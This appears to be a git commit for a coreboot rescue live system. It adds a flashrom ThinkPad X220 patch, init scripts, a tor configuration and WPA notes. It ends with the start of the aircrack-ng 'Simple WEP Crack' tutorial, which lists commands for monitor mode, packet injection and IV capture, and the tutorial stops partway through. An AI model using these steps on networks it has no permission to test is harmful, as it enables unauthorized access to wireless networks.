xSmurf
9 years ago
commit
8b186dd1b9
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
Binary file not shown.
File diff suppressed because it is too large
Load Diff
@ -0,0 +1,10 @@
|
||||
--- ./board_enable.c 2014-10-27 20:09:27.000000000 +0000
|
||||
+++ ./board_enable.c 2015-09-20 22:18:08.694874001 +0000
|
||||
@@ -2426,6 +2426,7 @@
|
||||
{0x8086, 0x27a0, 0x17aa, 0x2015, 0x8086, 0x27b9, 0x17aa, 0x2009, "^ThinkPad T60", NULL, NULL, P2, "IBM/Lenovo", "ThinkPad T60", 0, OK, p2_whitelist_laptop},
|
||||
{0x8086, 0x27a0, 0x17aa, 0x2017, 0x8086, 0x27b9, 0x17aa, 0x2009, "^ThinkPad T60", NULL, NULL, P2, "IBM/Lenovo", "ThinkPad T60(s)", 0, OK, p2_whitelist_laptop},
|
||||
{0x8086, 0x3B07, 0x17AA, 0x2166, 0x8086, 0x3B30, 0x17AA, 0x2167, "^Lenovo X201", NULL, NULL, P2, "IBM/Lenovo", "ThinkPad X201", 0, OK, p2_whitelist_laptop},
|
||||
+ {0x8086, 0x1C10, 0x17AA, 0x21DB, 0x8086, 0x1C22, 0x17AA, 0x21DB, "^ThinkPad X220", NULL, NULL, P2, "LENOVO", "ThinkPad X220", 0, OK, p2_whitelist_laptop},
|
||||
{0x8086, 0x1E22, 0x17AA, 0x21FA, 0x8086, 0x1E55, 0x17AA, 0x21FA, "^ThinkPad X230", NULL, NULL, P2, "IBM/Lenovo", "ThinkPad X230", 0, OK, p2_whitelist_laptop},
|
||||
{0x8086, 0x27A0, 0x17AA, 0x2017, 0x8086, 0x27B9, 0x17AA, 0x2009, "^ThinkPad X60", NULL, NULL, P2, "IBM/Lenovo", "ThinkPad X60(s)", 0, OK, p2_whitelist_laptop},
|
||||
{0x8086, 0x2411, 0x8086, 0x2411, 0x8086, 0x7125, 0x0e11, 0xb165, NULL, NULL, NULL, P3, "Mitac", "6513WU", 0, OK, board_mitac_6513wu},
|
||||
@ -0,0 +1,20 @@
|
||||
#!/bin/sh
|
||||
#
|
||||
# Start autodev
|
||||
#
|
||||
|
||||
case "$1" in
|
||||
start)
|
||||
echo "Starting module autoload..."
|
||||
/opt/sbin/autoload_modules
|
||||
;;
|
||||
stop)
|
||||
;;
|
||||
restart|reload)
|
||||
;;
|
||||
*)
|
||||
echo "Usage: $0 {start}"
|
||||
exit 1
|
||||
esac
|
||||
|
||||
exit $?
|
||||
@ -0,0 +1,252 @@
|
||||
#! /bin/bash
|
||||
|
||||
### BEGIN INIT INFO
|
||||
# Provides: tor
|
||||
# Required-Start: $local_fs $remote_fs $network $named $time
|
||||
# Required-Stop: $local_fs $remote_fs $network $named $time
|
||||
# Should-Start: $syslog
|
||||
# Should-Stop: $syslog
|
||||
# Default-Start: 2 3 4 5
|
||||
# Default-Stop: 0 1 6
|
||||
# Short-Description: Starts The Onion Router daemon processes
|
||||
# Description: Start The Onion Router, a TCP overlay
|
||||
# network client that provides anonymous
|
||||
# transport.
|
||||
### END INIT INFO
|
||||
|
||||
# Load the VERBOSE setting and other rcS variables
|
||||
. /lib/init/vars.sh
|
||||
|
||||
# Define LSB log_* functions.
|
||||
. /lib/lsb/init-functions
|
||||
|
||||
PATH=/sbin:/bin:/usr/sbin:/usr/bin
|
||||
DAEMON=/usr/bin/tor
|
||||
NAME=tor
|
||||
DESC="tor daemon"
|
||||
TORLOGDIR=/var/log/tor
|
||||
TORPIDDIR=/var/run/tor
|
||||
TORPID=$TORPIDDIR/tor.pid
|
||||
DEFAULTSFILE=/etc/default/$NAME
|
||||
WAITFORDAEMON=60
|
||||
DEFAULT_ARGS="--defaults-torrc /usr/share/tor/tor-service-defaults-torrc"
|
||||
VERIFY_ARGS="--verify-config $DEFAULT_ARGS"
|
||||
USE_AA_EXEC="yes"
|
||||
ARGS=""
|
||||
if [ "${VERBOSE:-}" != "yes" ]; then
|
||||
ARGS="$ARGS --hush"
|
||||
fi
|
||||
|
||||
# Let's try to figure our some sane defaults:
|
||||
if [ -r /proc/sys/fs/file-max ]; then
|
||||
system_max=`cat /proc/sys/fs/file-max`
|
||||
if [ "$system_max" -gt "80000" ] ; then
|
||||
MAX_FILEDESCRIPTORS=32768
|
||||
elif [ "$system_max" -gt "40000" ] ; then
|
||||
MAX_FILEDESCRIPTORS=16384
|
||||
elif [ "$system_max" -gt "10000" ] ; then
|
||||
MAX_FILEDESCRIPTORS=8192
|
||||
else
|
||||
MAX_FILEDESCRIPTORS=1024
|
||||
cat << EOF
|
||||
|
||||
Warning: Your system has very few filedescriptors available in total.
|
||||
|
||||
Maybe you should try raising that by adding 'fs.file-max=100000' to your
|
||||
/etc/sysctl.conf file. Feel free to pick any number that you deem appropriate.
|
||||
Then run 'sysctl -p'. See /proc/sys/fs/file-max for the current value, and
|
||||
file-nr in the same directory for how many of those are used at the moment.
|
||||
|
||||
EOF
|
||||
fi
|
||||
else
|
||||
MAX_FILEDESCRIPTORS=8192
|
||||
fi
|
||||
|
||||
NICE=""
|
||||
|
||||
test -x $DAEMON || exit 0
|
||||
|
||||
# Include tor defaults if available
|
||||
if [ -f $DEFAULTSFILE ] ; then
|
||||
. $DEFAULTSFILE
|
||||
fi
|
||||
|
||||
wait_for_deaddaemon () {
|
||||
pid=$1
|
||||
sleep 1
|
||||
if test -n "$pid"
|
||||
then
|
||||
if kill -0 $pid 2>/dev/null
|
||||
then
|
||||
cnt=0
|
||||
while kill -0 $pid 2>/dev/null
|
||||
do
|
||||
cnt=`expr $cnt + 1`
|
||||
if [ $cnt -gt $WAITFORDAEMON ]
|
||||
then
|
||||
log_action_end_msg 1 "still running"
|
||||
exit 1
|
||||
fi
|
||||
sleep 1
|
||||
[ "`expr $cnt % 3`" != 2 ] || log_action_cont_msg ""
|
||||
done
|
||||
fi
|
||||
fi
|
||||
log_action_end_msg 0
|
||||
}
|
||||
|
||||
|
||||
check_torpiddir () {
|
||||
if test ! -d $TORPIDDIR; then
|
||||
mkdir -m 02750 "$TORPIDDIR"
|
||||
chown debian-tor:debian-tor "$TORPIDDIR"
|
||||
! [ -x /sbin/restorecon ] || /sbin/restorecon "$TORPIDDIR"
|
||||
fi
|
||||
|
||||
if test ! -x $TORPIDDIR; then
|
||||
log_action_end_msg 1 "cannot access $TORPIDDIR directory, are you root?"
|
||||
exit 1
|
||||
fi
|
||||
}
|
||||
|
||||
check_torlogdir () {
|
||||
if test ! -d $TORLOGDIR; then
|
||||
mkdir -m 02750 "$TORLOGDIR"
|
||||
chown debian-tor:adm "$TORLOGDIR"
|
||||
! [ -x /sbin/restorecon ] || /sbin/restorecon "$TORPIDDIR"
|
||||
fi
|
||||
}
|
||||
|
||||
|
||||
check_config () {
|
||||
if ! $DAEMON $VERIFY_ARGS > /dev/null; then
|
||||
log_failure_msg "Checking if $NAME configuration is valid"
|
||||
$DAEMON $VERIFY_ARGS >&2
|
||||
exit 1
|
||||
fi
|
||||
}
|
||||
|
||||
|
||||
case "$1" in
|
||||
start)
|
||||
if [ "$RUN_DAEMON" != "yes" ]; then
|
||||
log_action_msg "Not starting $DESC (Disabled in $DEFAULTSFILE)."
|
||||
exit 0
|
||||
fi
|
||||
|
||||
if [ -n "$MAX_FILEDESCRIPTORS" ]; then
|
||||
[ "${VERBOSE:-}" != "yes" ] || log_action_begin_msg "Raising maximum number of filedescriptors (ulimit -n) for tor to $MAX_FILEDESCRIPTORS"
|
||||
if ulimit -n "$MAX_FILEDESCRIPTORS" ; then
|
||||
[ "${VERBOSE:-}" != "yes" ] || log_action_end_msg 0
|
||||
else
|
||||
[ "${VERBOSE:-}" != "yes" ] || log_action_end_msg 1
|
||||
fi
|
||||
fi
|
||||
|
||||
check_torpiddir
|
||||
check_torlogdir
|
||||
check_config
|
||||
|
||||
log_action_begin_msg "Starting $DESC"
|
||||
|
||||
if start-stop-daemon --stop --signal 0 --quiet --pidfile $TORPID --exec $DAEMON; then
|
||||
log_action_end_msg 0 "already running"
|
||||
else
|
||||
if [ "$USE_AA_EXEC" = "yes" ] &&
|
||||
[ -x /usr/sbin/aa-status ] && \
|
||||
[ -x /usr/sbin/aa-exec ] && \
|
||||
[ -e /etc/apparmor.d/system_tor ] && \
|
||||
/usr/sbin/aa-status --enabled ; then
|
||||
AA_EXEC="--startas /usr/sbin/aa-exec"
|
||||
AA_EXEC_ARGS="--profile=system_tor -- $DAEMON"
|
||||
else
|
||||
AA_EXEC=""
|
||||
AA_EXEC_ARGS=""
|
||||
fi
|
||||
if start-stop-daemon --start --quiet \
|
||||
--pidfile $TORPID \
|
||||
$NICE \
|
||||
$AA_EXEC \
|
||||
--exec $DAEMON -- $AA_EXEC_ARGS $DEFAULT_ARGS $ARGS
|
||||
then
|
||||
log_action_end_msg 0
|
||||
else
|
||||
log_action_end_msg 1
|
||||
exit 1
|
||||
fi
|
||||
fi
|
||||
;;
|
||||
stop)
|
||||
log_action_begin_msg "Stopping $DESC"
|
||||
pid=`cat $TORPID 2>/dev/null` || true
|
||||
|
||||
if test ! -f $TORPID -o -z "$pid"; then
|
||||
log_action_end_msg 0 "not running - there is no $TORPID"
|
||||
exit 0
|
||||
fi
|
||||
|
||||
if start-stop-daemon --stop --signal INT --quiet --pidfile $TORPID --exec $DAEMON; then
|
||||
wait_for_deaddaemon $pid
|
||||
elif kill -0 $pid 2>/dev/null; then
|
||||
log_action_end_msg 1 "Is $pid not $NAME? Is $DAEMON a different binary now?"
|
||||
exit 1
|
||||
else
|
||||
log_action_end_msg 1 "$DAEMON died: process $pid not running; or permission denied"
|
||||
exit 1
|
||||
fi
|
||||
;;
|
||||
reload|force-reload)
|
||||
check_config
|
||||
|
||||
log_action_begin_msg "Reloading $DESC configuration"
|
||||
pid=`cat $TORPID 2>/dev/null` || true
|
||||
|
||||
if test ! -f $TORPID -o -z "$pid"; then
|
||||
log_action_end_msg 1 "not running - there is no $TORPID"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
if start-stop-daemon --stop --signal 1 --quiet --pidfile $TORPID --exec $DAEMON
|
||||
then
|
||||
log_action_end_msg 0
|
||||
elif kill -0 $pid 2>/dev/null; then
|
||||
log_action_end_msg 1 "Is $pid not $NAME? Is $DAEMON a different binary now?"
|
||||
exit 1
|
||||
else
|
||||
log_action_end_msg 1 "$DAEMON died: process $pid not running; or permission denied"
|
||||
exit 1
|
||||
fi
|
||||
;;
|
||||
restart)
|
||||
check_config
|
||||
|
||||
$0 stop
|
||||
sleep 1
|
||||
$0 start
|
||||
;;
|
||||
status)
|
||||
if test ! -r $(dirname $TORPID); then
|
||||
log_failure_msg "cannot read PID file $TORPID"
|
||||
exit 4
|
||||
fi
|
||||
pid=`cat $TORPID 2>/dev/null` || true
|
||||
if test ! -f $TORPID -o -z "$pid"; then
|
||||
log_failure_msg "$NAME is not running"
|
||||
exit 3
|
||||
fi
|
||||
if ps "$pid" >/dev/null 2>&1; then
|
||||
log_success_msg "$NAME is running"
|
||||
exit 0
|
||||
else
|
||||
log_failure_msg "$NAME is not running"
|
||||
exit 1
|
||||
fi
|
||||
;;
|
||||
*)
|
||||
log_action_msg "Usage: $0 {start|stop|restart|reload|force-reload|status}" >&2
|
||||
exit 1
|
||||
;;
|
||||
esac
|
||||
|
||||
exit 0
|
||||
@ -0,0 +1,11 @@
|
||||
___ _ _ ___
|
||||
/ __|___ _ _ ___| |__ ___ ___| |_ | _ \___ ___ __ _ _ ___
|
||||
| (__/ _ \ '_/ -_) '_ \/ _ \/ _ \ _| | / -_|_-</ _| || / -_)
|
||||
\___\___/_| \___|_.__/\___/\___/\__| |_|_\___/__/\__|\_,_\___|
|
||||
|
||||
###############################################################
|
||||
|
||||
After pluging new devices run `/opt/sbin/autoload_modules`.
|
||||
|
||||
See extra documentation in `/opt/docs/`.
|
||||
|
||||
@ -0,0 +1,202 @@
|
||||
## Configuration file for a typical Tor user
|
||||
## Last updated 2 September 2014 for Tor 0.2.6.1-alpha.
|
||||
## (may or may not work for much older or much newer versions of Tor.)
|
||||
##
|
||||
## Lines that begin with "## " try to explain what's going on. Lines
|
||||
## that begin with just "#" are disabled commands: you can enable them
|
||||
## by removing the "#" symbol.
|
||||
##
|
||||
## See 'man tor', or https://www.torproject.org/docs/tor-manual.html,
|
||||
## for more options you can use in this file.
|
||||
##
|
||||
## Tor will look for this file in various places based on your platform:
|
||||
## https://www.torproject.org/docs/faq#torrc
|
||||
|
||||
## Tor opens a socks proxy on port 9050 by default -- even if you don't
|
||||
## configure one below. Set "SocksPort 0" if you plan to run Tor only
|
||||
## as a relay, and not make any local application connections yourself.
|
||||
#SocksPort 9050 # Default: Bind to localhost:9050 for local connections.
|
||||
#SocksPort 192.168.0.1:9100 # Bind to this address:port too.
|
||||
|
||||
## Entry policies to allow/deny SOCKS requests based on IP address.
|
||||
## First entry that matches wins. If no SocksPolicy is set, we accept
|
||||
## all (and only) requests that reach a SocksPort. Untrusted users who
|
||||
## can access your SocksPort may be able to learn about the connections
|
||||
## you make.
|
||||
#SocksPolicy accept 192.168.0.0/16
|
||||
#SocksPolicy reject *
|
||||
|
||||
## Logs go to stdout at level "notice" unless redirected by something
|
||||
## else, like one of the below lines. You can have as many Log lines as
|
||||
## you want.
|
||||
##
|
||||
## We advise using "notice" in most cases, since anything more verbose
|
||||
## may provide sensitive information to an attacker who obtains the logs.
|
||||
##
|
||||
## Send all messages of level 'notice' or higher to /var/log/tor/notices.log
|
||||
#Log notice file /var/log/tor/notices.log
|
||||
## Send every possible message to /var/log/tor/debug.log
|
||||
#Log debug file /var/log/tor/debug.log
|
||||
## Use the system log instead of Tor's logfiles
|
||||
#Log notice syslog
|
||||
## To send all messages to stderr:
|
||||
#Log debug stderr
|
||||
|
||||
## Uncomment this to start the process in the background... or use
|
||||
## --runasdaemon 1 on the command line. This is ignored on Windows;
|
||||
## see the FAQ entry if you want Tor to run as an NT service.
|
||||
#RunAsDaemon 1
|
||||
|
||||
## The directory for keeping all the keys/etc. By default, we store
|
||||
## things in $HOME/.tor on Unix, and in Application Data\tor on Windows.
|
||||
#DataDirectory /var/lib/tor
|
||||
|
||||
## The port on which Tor will listen for local connections from Tor
|
||||
## controller applications, as documented in control-spec.txt.
|
||||
ControlPort 9051
|
||||
## If you enable the controlport, be sure to enable one of these
|
||||
## authentication methods, to prevent attackers from accessing it.
|
||||
#HashedControlPassword 16:872860B76453A77D60CA2BB8C1A7042072093276A3D701AD684053EC4C
|
||||
CookieAuthentication 1
|
||||
|
||||
############### This section is just for location-hidden services ###
|
||||
|
||||
## Once you have configured a hidden service, you can look at the
|
||||
## contents of the file ".../hidden_service/hostname" for the address
|
||||
## to tell people.
|
||||
##
|
||||
## HiddenServicePort x y:z says to redirect requests on port x to the
|
||||
## address y:z.
|
||||
|
||||
#HiddenServiceDir /var/lib/tor/hidden_service/
|
||||
#HiddenServicePort 80 127.0.0.1:80
|
||||
|
||||
#HiddenServiceDir /var/lib/tor/other_hidden_service/
|
||||
#HiddenServicePort 80 127.0.0.1:80
|
||||
#HiddenServicePort 22 127.0.0.1:22
|
||||
|
||||
################ This section is just for relays #####################
|
||||
#
|
||||
## See https://www.torproject.org/docs/tor-doc-relay for details.
|
||||
|
||||
## Required: what port to advertise for incoming Tor connections.
|
||||
#ORPort 9001
|
||||
## If you want to listen on a port other than the one advertised in
|
||||
## ORPort (e.g. to advertise 443 but bind to 9090), you can do it as
|
||||
## follows. You'll need to do ipchains or other port forwarding
|
||||
## yourself to make this work.
|
||||
#ORPort 443 NoListen
|
||||
#ORPort 127.0.0.1:9090 NoAdvertise
|
||||
|
||||
## The IP address or full DNS name for incoming connections to your
|
||||
## relay. Leave commented out and Tor will guess.
|
||||
#Address noname.example.com
|
||||
|
||||
## If you have multiple network interfaces, you can specify one for
|
||||
## outgoing traffic to use.
|
||||
# OutboundBindAddress 10.0.0.5
|
||||
|
||||
## A handle for your relay, so people don't have to refer to it by key.
|
||||
#Nickname ididnteditheconfig
|
||||
|
||||
## Define these to limit how much relayed traffic you will allow. Your
|
||||
## own traffic is still unthrottled. Note that RelayBandwidthRate must
|
||||
## be at least 20 kilobytes per second.
|
||||
## Note that units for these config options are bytes (per second), not
|
||||
## bits (per second), and that prefixes are binary prefixes, i.e. 2^10,
|
||||
## 2^20, etc.
|
||||
#RelayBandwidthRate 100 KBytes # Throttle traffic to 100KB/s (800Kbps)
|
||||
#RelayBandwidthBurst 200 KBytes # But allow bursts up to 200KB (1600Kb)
|
||||
|
||||
## Use these to restrict the maximum traffic per day, week, or month.
|
||||
## Note that this threshold applies separately to sent and received bytes,
|
||||
## not to their sum: setting "4 GB" may allow up to 8 GB total before
|
||||
## hibernating.
|
||||
##
|
||||
## Set a maximum of 4 gigabytes each way per period.
|
||||
#AccountingMax 4 GBytes
|
||||
## Each period starts daily at midnight (AccountingMax is per day)
|
||||
#AccountingStart day 00:00
|
||||
## Each period starts on the 3rd of the month at 15:00 (AccountingMax
|
||||
## is per month)
|
||||
#AccountingStart month 3 15:00
|
||||
|
||||
## Administrative contact information for this relay or bridge. This line
|
||||
## can be used to contact you if your relay or bridge is misconfigured or
|
||||
## something else goes wrong. Note that we archive and publish all
|
||||
## descriptors containing these lines and that Google indexes them, so
|
||||
## spammers might also collect them. You may want to obscure the fact that
|
||||
## it's an email address and/or generate a new address for this purpose.
|
||||
#ContactInfo Random Person <nobody AT example dot com>
|
||||
## You might also include your PGP or GPG fingerprint if you have one:
|
||||
#ContactInfo 0xFFFFFFFF Random Person <nobody AT example dot com>
|
||||
|
||||
## Uncomment this to mirror directory information for others. Please do
|
||||
## if you have enough bandwidth.
|
||||
#DirPort 9030 # what port to advertise for directory connections
|
||||
## If you want to listen on a port other than the one advertised in
|
||||
## DirPort (e.g. to advertise 80 but bind to 9091), you can do it as
|
||||
## follows. below too. You'll need to do ipchains or other port
|
||||
## forwarding yourself to make this work.
|
||||
#DirPort 80 NoListen
|
||||
#DirPort 127.0.0.1:9091 NoAdvertise
|
||||
## Uncomment to return an arbitrary blob of html on your DirPort. Now you
|
||||
## can explain what Tor is if anybody wonders why your IP address is
|
||||
## contacting them. See contrib/tor-exit-notice.html in Tor's source
|
||||
## distribution for a sample.
|
||||
#DirPortFrontPage /etc/tor/tor-exit-notice.html
|
||||
|
||||
## Uncomment this if you run more than one Tor relay, and add the identity
|
||||
## key fingerprint of each Tor relay you control, even if they're on
|
||||
## different networks. You declare it here so Tor clients can avoid
|
||||
## using more than one of your relays in a single circuit. See
|
||||
## https://www.torproject.org/docs/faq#MultipleRelays
|
||||
## However, you should never include a bridge's fingerprint here, as it would
|
||||
## break its concealability and potentially reveal its IP/TCP address.
|
||||
#MyFamily $keyid,$keyid,...
|
||||
|
||||
## A comma-separated list of exit policies. They're considered first
|
||||
## to last, and the first match wins. If you want to _replace_
|
||||
## the default exit policy, end this with either a reject *:* or an
|
||||
## accept *:*. Otherwise, you're _augmenting_ (prepending to) the
|
||||
## default exit policy. Leave commented to just use the default, which is
|
||||
## described in the man page or at
|
||||
## https://www.torproject.org/documentation.html
|
||||
##
|
||||
## Look at https://www.torproject.org/faq-abuse.html#TypicalAbuses
|
||||
## for issues you might encounter if you use the default exit policy.
|
||||
##
|
||||
## If certain IPs and ports are blocked externally, e.g. by your firewall,
|
||||
## you should update your exit policy to reflect this -- otherwise Tor
|
||||
## users will be told that those destinations are down.
|
||||
##
|
||||
## For security, by default Tor rejects connections to private (local)
|
||||
## networks, including to your public IP address. See the man page entry
|
||||
## for ExitPolicyRejectPrivate if you want to allow "exit enclaving".
|
||||
##
|
||||
#ExitPolicy accept *:6660-6667,reject *:* # allow irc ports but no more
|
||||
#ExitPolicy accept *:119 # accept nntp as well as default exit policy
|
||||
#ExitPolicy reject *:* # no exits allowed
|
||||
|
||||
## Bridge relays (or "bridges") are Tor relays that aren't listed in the
|
||||
## main directory. Since there is no complete public list of them, even an
|
||||
## ISP that filters connections to all the known Tor relays probably
|
||||
## won't be able to block all the bridges. Also, websites won't treat you
|
||||
## differently because they won't know you're running Tor. If you can
|
||||
## be a real relay, please do; but if not, be a bridge!
|
||||
#BridgeRelay 1
|
||||
## By default, Tor will advertise your bridge to users through various
|
||||
## mechanisms like https://bridges.torproject.org/. If you want to run
|
||||
## a private bridge, for example because you'll give out your bridge
|
||||
## address manually to your friends, uncomment this line:
|
||||
#PublishServerDescriptor 0
|
||||
|
||||
DisableDebuggerAttachment 0
|
||||
|
||||
StrictNodes 1
|
||||
ExcludeExitNodes {ca},{us},{gb},{nz},{au}
|
||||
|
||||
#ClientTransportPlugin obfs4 exec /usr/bin/obfs4proxy
|
||||
|
||||
#FascistFirewall 1
|
||||
FirewallPorts 80,443,8080,53,22,21
|
||||
@ -0,0 +1,12 @@
|
||||
# Connecting to a WPA network
|
||||
|
||||
# iw dev
|
||||
# ip link set wlan0 up
|
||||
# iw wlan0 scan
|
||||
# wpa_passphrase <SSID> >> /etc/wpa_supplicant.conf
|
||||
<PASSPHRASE>
|
||||
# wpa_supplicant -i wlan0 -c /etc/wpa_supplicant.conf
|
||||
# iw wlan0 link
|
||||
# dhclient wlan0
|
||||
# ping 8.8.8.8
|
||||
# ip route add default via 10.0.0.138 dev wlan0
|
||||
@ -0,0 +1,340 @@
|
||||
====== Tutorial: Simple WEP Crack ======
|
||||
Version: 1.20 January 11, 2010\\
|
||||
By: darkAudax
|
||||
|
||||
===== Introduction =====
|
||||
|
||||
This tutorial walks you though a very simple case to crack a WEP key. It is intended to build your basic skills and get you familiar with the concepts. It assumes you have a working wireless card with drivers already patched for injection.
|
||||
|
||||
The basic concept behind this tutorial is using aireplay-ng replay an ARP packet to generate new unique IVs. In turn, aircrack-ng uses the new unique IVs to crack the WEP key. It is important to understand what an ARP packet is. This [[arp-request_reinjection#what_is_arp|"What is an ARP?"]] section provides the details.
|
||||
|
||||
For a start to finish newbie guide, see the [[newbie_guide|Linux Newbie Guide]]. Although this tutorial does not cover all the steps, it does attempt to provide much more detailed examples of the steps to actually crack a WEP key plus explain the reason and background of each step. For more information on installing aircrck-ng, see [[install_aircrack|Installing Aircrack-ng]] and for installing drivers see [[install_drivers|Installing Drivers]].
|
||||
|
||||
It is recommended that you experiment with your home wireless access point to get familiar with these ideas and techniques. If you do not own a particular access point, please remember to get permission from the owner prior to playing with it.
|
||||
|
||||
I would like to acknowledge and thank the [[http://trac.aircrack-ng.org/wiki/Team|Aircrack-ng team]] for producing such a great robust tool.
|
||||
|
||||
Please send me any constructive feedback, positive or negative. Additional troubleshooting ideas and tips are especially welcome.
|
||||
|
||||
===== Assumptions =====
|
||||
|
||||
First, this solution assumes:
|
||||
* You are using drivers patched for injection. Use the [[injection_test|injection test]] to confirm your card can inject prior to proceeding.
|
||||
* You are physically close enough to send and receive access point packets. Remember that just because you can receive packets from the access point does not mean you may will be able to transmit packets to the AP. The wireless card strength is typically less then the AP strength. So you have to be physically close enough for your transmitted packets to reach and be received by the AP. You should confirm that you can communicate with the specific AP by following [[injection_test#hidden_or_specific_ssid|these instructions]].
|
||||
* There is at least one wired or wireless client connected to the network and they are active. The reason is that this tutorial depends on receiving at least one ARP request packet and if there are no active clients then there will never be any ARP request packets.
|
||||
* You are using v0.9 of aircrack-ng. If you use a different version then some of the common options may have to be changed.
|
||||
|
||||
Ensure all of the above assumptions are true, otherwise the advice that follows will not work. In the examples below, you will need to change "ath0" to the interface name which is specific to your wireless card.
|
||||
|
||||
===== Equipment used =====
|
||||
|
||||
In this tutorial, here is what was used:
|
||||
|
||||
*MAC address of PC running aircrack-ng suite: 00:0F:B5:88:AC:82
|
||||
*BSSID (MAC address of access point): 00:14:6C:7E:40:80
|
||||
*ESSID (Wireless network name): teddy
|
||||
*Access point channel: 9
|
||||
*Wireless interface: ath0
|
||||
|
||||
You should gather the equivalent information for the network you will be working on. Then just change the values in the examples below to the specific network.
|
||||
|
||||
===== Solution =====
|
||||
==== Solution Overview ====
|
||||
|
||||
To crack the WEP key for an access point, we need to gather lots of initialization vectors (IVs). Normal network traffic does not typically generate these IVs very quickly. Theoretically, if you are patient, you can gather sufficient IVs to crack the WEP key by simply listening to the network traffic and saving them. Since none of us are patient, we use a technique called injection to speed up the process. Injection involves having the access point (AP) resend selected packets over and over very rapidly. This allows us to capture a large number of IVs in a short period of time.
|
||||
|
||||
Once we have captured a large number of IVs, we can use them to determine the WEP key.
|
||||
|
||||
Here are the basic steps we will be going through:
|
||||
|
||||
- Start the wireless interface in monitor mode on the specific AP channel
|
||||
- Test the injection capability of the wireless device to the AP
|
||||
- Use aireplay-ng to do a fake authentication with the access point
|
||||
- Start airodump-ng on AP channel with a bssid filter to collect the new unique IVs
|
||||
- Start aireplay-ng in ARP request replay mode to inject packets
|
||||
- Run aircrack-ng to crack key using the IVs collected
|
||||
|
||||
==== Step 1 - Start the wireless interface in monitor mode on AP channel ====
|
||||
|
||||
The purpose of this step is to put your card into what is called monitor mode. Monitor mode is mode whereby your card can listen to every packet in the air. Normally your card will only "hear" packets addressed to you. By hearing every packet, we can later select some for injection. As well, only (there are some rare exceptions) monitor mode allows you to inject packets. (Note: this procedure is different for non-Atheros cards.)
|
||||
|
||||
First stop ath0 by entering:
|
||||
|
||||
airmon-ng stop ath0
|
||||
|
||||
The system responds:
|
||||
|
||||
Interface Chipset Driver
|
||||
|
||||
wifi0 Atheros madwifi-ng
|
||||
ath0 Atheros madwifi-ng VAP (parent: wifi0) (VAP destroyed)
|
||||
|
||||
Enter "iwconfig" to ensure there are no other athX interfaces. It should look similar to this:
|
||||
|
||||
lo no wireless extensions.
|
||||
|
||||
eth0 no wireless extensions.
|
||||
|
||||
wifi0 no wireless extensions.
|
||||
|
||||
If there are any remaining athX interfaces, then stop each one. When you are finished, run "iwconfig" to ensure there are none left.
|
||||
|
||||
Now, enter the following command to start the wireless card on channel 9 in monitor mode:
|
||||
|
||||
airmon-ng start wifi0 9
|
||||
|
||||
Substitute the channel number that your AP runs on for "9" in the command above. This is important. You must have your wireless card locked to the AP channel for the following steps in this tutorial to work correctly.
|
||||
|
||||
Note: In this command we use "wifi0" instead of our wireless interface of "ath0". This is because the madwifi-ng drivers are being used. For other drivers, use the wireless interface name. Examples: "wlan0" or "rausb0".
|
||||
|
||||
The system will respond:
|
||||
|
||||
Interface Chipset Driver
|
||||
|
||||
wifi0 Atheros madwifi-ng
|
||||
ath0 Atheros madwifi-ng VAP (parent: wifi0) (monitor mode enabled)
|
||||
|
||||
You will notice that "ath0" is reported above as being put into monitor mode.
|
||||
|
||||
To confirm the interface is properly setup, enter "iwconfig".
|
||||
|
||||
The system will respond:
|
||||
|
||||
lo no wireless extensions.
|
||||
|
||||
wifi0 no wireless extensions.
|
||||
|
||||
eth0 no wireless extensions.
|
||||
|
||||
ath0 IEEE 802.11g ESSID:"" Nickname:""
|
||||
Mode:Monitor Frequency:2.452 GHz Access Point: 00:0F:B5:88:AC:82
|
||||
Bit Rate:0 kb/s Tx-Power:18 dBm Sensitivity=0/3
|
||||
Retry:off RTS thr:off Fragment thr:off
|
||||
Encryption key:off
|
||||
Power Management:off
|
||||
Link Quality=0/94 Signal level=-95 dBm Noise level=-95 dBm
|
||||
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
|
||||
Tx excessive retries:0 Invalid misc:0 Missed beacon:0
|
||||
|
||||
In the response above, you can see that ath0 is in monitor mode, on the 2.452GHz frequency which is channel 9 and the Access Point shows the MAC address of your wireless card. Please note that only the madwifi-ng drivers show the MAC address of your wireless card, the other drivers do not do this. So everything is good. It is important to confirm all this information prior to proceeding, otherwise the following steps will not work properly.
|
||||
|
||||
To match the frequency to the channel, check out:
|
||||
http://www.cisco.com/en/US/docs/wireless/technology/channel/deployment/guide/Channel.html#wp134132 . This will give you the frequency for each channel.
|
||||
|
||||
|
||||
==== Step 2 - Test Wireless Device Packet Injection ====
|
||||
|
||||
The purpose of this step ensures that your card is within distance of your AP and can inject packets to it.
|
||||
|
||||
Enter:
|
||||
|
||||
aireplay-ng -9 -e teddy -a 00:14:6C:7E:40:80 ath0
|
||||
|
||||
Where:
|
||||
*-9 means injection test
|
||||
*-e teddy is the wireless network name
|
||||
*-a 00:14:6C:7E:40:80 is the access point MAC address
|
||||
*ath0 is the wireless interface name
|
||||
|
||||
The system should respond with:
|
||||
|
||||
09:23:35 Waiting for beacon frame (BSSID: 00:14:6C:7E:40:80) on channel 9
|
||||
09:23:35 Trying broadcast probe requests...
|
||||
09:23:35 Injection is working!
|
||||
09:23:37 Found 1 AP
|
||||
|
||||
09:23:37 Trying directed probe requests...
|
||||
09:23:37 00:14:6C:7E:40:80 - channel: 9 - 'teddy'
|
||||
09:23:39 Ping (min/avg/max): 1.827ms/68.145ms/111.610ms Power: 33.73
|
||||
09:23:39 30/30: 100%
|
||||
|
||||
The last line is important. Ideally it should say 100% or a very high percentage. If it is low then you are too far away from the AP or too close. If it is zero then injection is not working and you need to patch your drivers or use different drivers.
|
||||
|
||||
See the [[injection_test|injection test]] for more details.
|
||||
|
||||
|
||||
==== Step 3 - Start airodump-ng to capture the IVs ====
|
||||
|
||||
The purpose of this step is to capture the IVs generated. This step starts airodump-ng to capture the IVs from the specific access point.
|
||||
|
||||
Open another console session to capture the generated IVs. Then enter:
|
||||
|
||||
airodump-ng -c 9 --bssid 00:14:6C:7E:40:80 -w output ath0
|
||||
|
||||
Where:
|
||||
*-c 9 is the channel for the wireless network
|
||||
*-''''-bssid 00:14:6C:7E:40:80 is the access point MAC address. This eliminate extraneous traffic.
|
||||
*-w capture is file name prefix for the file which will contain the IVs.
|
||||
*ath0 is the interface name.
|
||||
|
||||
While the injection is taking place (later), the screen will look similar to this:
|
||||
|
||||
